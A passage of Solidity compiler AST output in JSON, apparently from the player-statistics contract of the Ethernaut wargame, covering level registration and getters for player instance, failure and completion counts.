pointer,address)"}},"id":56020,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5639:18:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56021,"nodeType":"ExpressionStatement","src":"5639:18:116"}]},"functionSelector":"cd819a6f","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56005,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56002,"src":"5573:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56006,"kind":"modifierInvocation","modifierName":{"id":56004,"name":"levelDoesntExistCheck","nameLocations":["5551:21:116"],"nodeType":"IdentifierPath","referencedDeclaration":55633,"src":"5551:21:116"},"nodeType":"ModifierInvocation","src":"5551:28:116"},{"id":56008,"kind":"modifierInvocation","modifierName":{"id":56007,"name":"onlyEthernaut","nameLocations":["5580:13:116"],"nodeType":"IdentifierPath","referencedDeclaration":55658,"src":"5580:13:116"},"nodeType":"ModifierInvocation","src":"5580:13:116"}],"name":"saveNewLevel","nameLocation":"5514:12:116","parameters":{"id":56003,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56002,"mutability":"mutable","name":"level","nameLocation":"5535:5:116","nodeType":"VariableDeclaration","scope":56023,"src":"5527:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56001,"name":"address","nodeType":"ElementaryTypeName","src":"5527:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5526:15:116"},"returnParameters":{"id":56009,"nodeType":"ParameterList","parameters":[],"src":"5594:0:116"},"scope":56450,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":56038,"nodeType":"FunctionDefinition","src":"5743:225:116","nodes":[],"body":{"id":56037,"nodeType":"Block","src":"5902:66:116","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56033,"name":"globalNoOfInstancesCreatedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55554,"src":"5919:34:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56035,"indexExpression":{"id":56034,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56025,"src":"5954:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5919:42:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56032,"id":56036,"nodeType":"Return","src":"5912:49:116"}]},"functionSelector":"8b146ad6","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56028,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56025,"src":"5864:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56029,"kind":"modifierInvocation","modifierName":{"id":56027,"name":"playerExistsCheck","nameLocations":["5846:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"5846:17:116"},"nodeType":"ModifierInvocation","src":"5846:25:116"}],"name":"getTotalNoOfLevelInstancesCreatedByPlayer","nameLocation":"5752:41:116","parameters":{"id":56026,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56025,"mutability":"mutable","name":"player","nameLocation":"5802:6:116","nodeType":"VariableDeclaration","scope":56038,"src":"5794:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56024,"name":"address","nodeType":"ElementaryTypeName","src":"5794:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5793:16:116"},"returnParameters":{"id":56032,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56031,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56038,"src":"5889:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56030,"name":"uint256","nodeType":"ElementaryTypeName","src":"5889:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5888:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56053,"nodeType":"FunctionDefinition","src":"6018:229:116","nodes":[],"body":{"id":56052,"nodeType":"Block","src":"6179:68:116","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56048,"name":"globalNoOfInstancesCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55558,"src":"6196:36:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56050,"indexExpression":{"id":56049,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56040,"src":"6233:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6196:44:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56047,"id":56051,"nodeType":"Return","src":"6189:51:116"}]},"functionSelector":"763fdb45","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56043,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56040,"src":"6141:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56044,"kind":"modifierInvocation","modifierName":{"id":56042,"name":"playerExistsCheck","nameLocations":["6123:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"6123:17:116"},"nodeType":"ModifierInvocation","src":"6123:25:116"}],"name":"getTotalNoOfLevelInstancesCompletedByPlayer","nameLocation":"6027:43:116","parameters":{"id":56041,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56040,"mutability":"mutable","name":"player","nameLocation":"6079:6:116","nodeType":"VariableDeclaration","scope":56053,"src":"6071:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56039,"name":"address","nodeType":"ElementaryTypeName","src":"6071:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6070:16:116"},"returnParameters":{"id":56047,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56046,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56053,"src":"6166:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56045,"name":"uint256","nodeType":"ElementaryTypeName","src":"6166:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6165:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56068,"nodeType":"FunctionDefinition","src":"6294:222:116","nodes":[],"body":{"id":56067,"nodeType":"Block","src":"6449:67:116","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56063,"name":"globalNoOfFailedSubmissionsByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55562,"src":"6466:35:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56065,"indexExpression":{"id":56064,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56055,"src":"6502:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6466:43:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56062,"id":56066,"nodeType":"Return","src":"6459:50:116"}]},"functionSelector":"7a9b6dda","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56058,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56055,"src":"6411:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56059,"kind":"modifierInvocation","modifierName":{"id":56057,"name":"playerExistsCheck","nameLocations":["6393:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"6393:17:116"},"nodeType":"ModifierInvocation","src":"6393:25:116"}],"name":"getTotalNoOfFailedSubmissionsByPlayer","nameLocation":"6303:37:116","parameters":{"id":56056,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56055,"mutability":"mutable","name":"player","nameLocation":"6349:6:116","nodeType":"VariableDeclaration","scope":56068,"src":"6341:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56054,"name":"address","nodeType":"ElementaryTypeName","src":"6341:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6340:16:116"},"returnParameters":{"id":56062,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56061,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56068,"src":"6436:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56060,"name":"uint256","nodeType":"ElementaryTypeName","src":"6436:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6435:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56083,"nodeType":"FunctionDefinition","src":"6522:218:116","nodes":[],"body":{"id":56082,"nodeType":"Block","src":"6675:65:116","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56078,"name":"globalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55550,"src":"6692:33:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56080,"indexExpression":{"id":56079,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56070,"src":"6726:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6692:41:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56077,"id":56081,"nodeType":"Return","src":"6685:48:116"}]},"functionSelector":"36204198","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56073,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56070,"src":"6637:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56074,"kind":"modifierInvocation","modifierName":{"id":56072,"name":"playerExistsCheck","nameLocations":["6619:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"6619:17:116"},"nodeType":"ModifierInvocation","src":"6619:25:116"}],"name":"getTotalNoOfLevelsCompletedByPlayer","nameLocation":"6531:35:116","parameters":{"id":56071,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56070,"mutability":"mutable","name":"player","nameLocation":"6575:6:116","nodeType":"VariableDeclaration","scope":56083,"src":"6567:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56069,"name":"address","nodeType":"ElementaryTypeName","src":"6567:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6566:16:116"},"returnParameters":{"id":56077,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56076,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56083,"src":"6662:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56075,"name":"uint256","nodeType":"ElementaryTypeName","src":"6662:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6661:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56120,"nodeType":"FunctionDefinition","src":"6848:329:116","nodes":[],"body":{"id":56119,"nodeType":"Block","src":"7050:127:116","nodes":[],"statements":[{"expression":{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":56108,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"baseExpression":{"baseExpression":{"id":56098,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"7067:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":56100,"indexExpression":{"id":56099,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56087,"src":"7079:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7067:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":56102,"indexExpression":{"id":56101,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56085,"src":"7087:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7067:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":56103,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7094:8:116","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":55529,"src":"7067:35:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":56106,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7114:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":56105,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7106:7:116","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":56104,"name":"address","nodeType":"ElementaryTypeName","src":"7106:7:116","typeDescriptions":{}}},"id":56107,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7106:10:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"7067:49:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"hexValue":"30","id":56116,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7169:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"id":56117,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"7067:103:116","trueExpression":{"expression":{"expression":{"baseExpression":{"baseExpression":{"id":56109,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"7119:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":56111,"indexExpression":{"id":56110,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56087,"src":"7131:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7119:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":56113,"indexExpression":{"id":56112,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56085,"src":"7139:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7119:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":56114,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7146:13:116","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":55538,"src":"7119:40:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":56115,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7160:6:116","memberName":"length","nodeType":"MemberAccess","src":"7119:47:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56097,"id":56118,"nodeType":"Return","src":"7060:110:116"}]},"functionSelector":"22ae77ec","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56090,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56087,"src":"6980:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56091,"kind":"modifierInvocation","modifierName":{"id":56089,"name":"playerExistsCheck","nameLocations":["6962:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"6962:17:116"},"nodeType":"ModifierInvocation","src":"6962:25:116"},{"arguments":[{"id":56093,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56085,"src":"7013:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56094,"kind":"modifierInvocation","modifierName":{"id":56092,"name":"levelExistsCheck","nameLocations":["6996:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"6996:16:116"},"nodeType":"ModifierInvocation","src":"6996:23:116"}],"name":"getTotalNoOfFailuresForLevelAndPlayer","nameLocation":"6857:37:116","parameters":{"id":56088,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56085,"mutability":"mutable","name":"level","nameLocation":"6903:5:116","nodeType":"VariableDeclaration","scope":56120,"src":"6895:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56084,"name":"address","nodeType":"ElementaryTypeName","src":"6895:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56087,"mutability":"mutable","name":"player","nameLocation":"6918:6:116","nodeType":"VariableDeclaration","scope":56120,"src":"6910:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56086,"name":"address","nodeType":"ElementaryTypeName","src":"6910:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6894:31:116"},"returnParameters":{"id":56097,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56096,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56120,"src":"7037:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56095,"name":"uint256","nodeType":"ElementaryTypeName","src":"7037:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7036:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56143,"nodeType":"FunctionDefinition","src":"7243:240:116","nodes":[],"body":{"id":56142,"nodeType":"Block","src":"7421:62:116","nodes":[],"statements":[{"expression":{"expression":{"baseExpression":{"baseExpression":{"id":56135,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"7438:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":56137,"indexExpression":{"id":56136,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56122,"src":"7450:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7438:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":56139,"indexExpression":{"id":56138,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56124,"src":"7458:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7438:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":56140,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7465:11:116","memberName":"isCompleted","nodeType":"MemberAccess","referencedDeclaration":55531,"src":"7438:38:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":56134,"id":56141,"nodeType":"Return","src":"7431:45:116"}]},"functionSelector":"e2d8716f","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56127,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56122,"src":"7354:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56128,"kind":"modifierInvocation","modifierName":{"id":56126,"name":"playerExistsCheck","nameLocations":["7336:17:116"],"nodeType":"IdentifierPath","referencedDeclaration":55646,"src":"7336:17:116"},"nodeType":"ModifierInvocation","src":"7336:25:116"},{"arguments":[{"id":56130,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56124,"src":"7387:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56131,"kind":"modifierInvocation","modifierName":{"id":56129,"name":"levelExistsCheck","nameLocations":["7370:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"7370:16:116"},"nodeType":"ModifierInvocation","src":"7370:23:116"}],"name":"isLevelCompleted","nameLocation":"7252:16:116","parameters":{"id":56125,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56122,"mutability":"mutable","name":"player","nameLocation":"7277:6:116","nodeType":"VariableDeclaration","scope":56143,"src":"7269:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56121,"name":"address","nodeType":"ElementaryTypeName","src":"7269:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56124,"mutability":"mutable","name":"level","nameLocation":"7293:5:116","nodeType":"VariableDeclaration","scope":56143,"src":"7285:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56123,"name":"address","nodeType":"ElementaryTypeName","src":"7285:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7268:31:116"},"returnParameters":{"id":56134,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56133,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56143,"src":"7411:4:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":56132,"name":"bool","nodeType":"ElementaryTypeName","src":"7411:4:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"7410:6:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56182,"nodeType":"FunctionDefinition","src":"7557:396:116","nodes":[],"body":{"id":56181,"nodeType":"Block","src":"7756:197:116","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56165,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"baseExpression":{"id":56159,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55579,"src":"7774:24:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":56161,"indexExpression":{"id":56160,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56145,"src":"7799:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7774:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56163,"indexExpression":{"id":56162,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56147,"src":"7807:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7774:39:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":56164,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7817:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7774:44:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c206e6f7420636f6d706c65746564","id":56166,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7820:21:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_97ec797da71da3eef07ba9258d9abfd62f4b0fad4d5e52c97b7c838a0b385973","typeString":"literal_string \"Level not completed\""},"value":"Level not completed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_97ec797da71da3eef07ba9258d9abfd62f4b0fad4d5e52c97b7c838a0b385973","typeString":"literal_string \"Level not completed\""}],"id":56158,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7766:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":56167,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7766:76:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56168,"nodeType":"ExpressionStatement","src":"7766:76:116"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":56179,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"baseExpression":{"id":56169,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55579,"src":"7859:24:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":56171,"indexExpression":{"id":56170,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56145,"src":"7884:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7859:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56173,"indexExpression":{"id":56172,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56147,"src":"7892:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7859:39:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"baseExpression":{"baseExpression":{"id":56174,"name":"levelFirstInstanceCreationTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55573,"src":"7901:30:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => 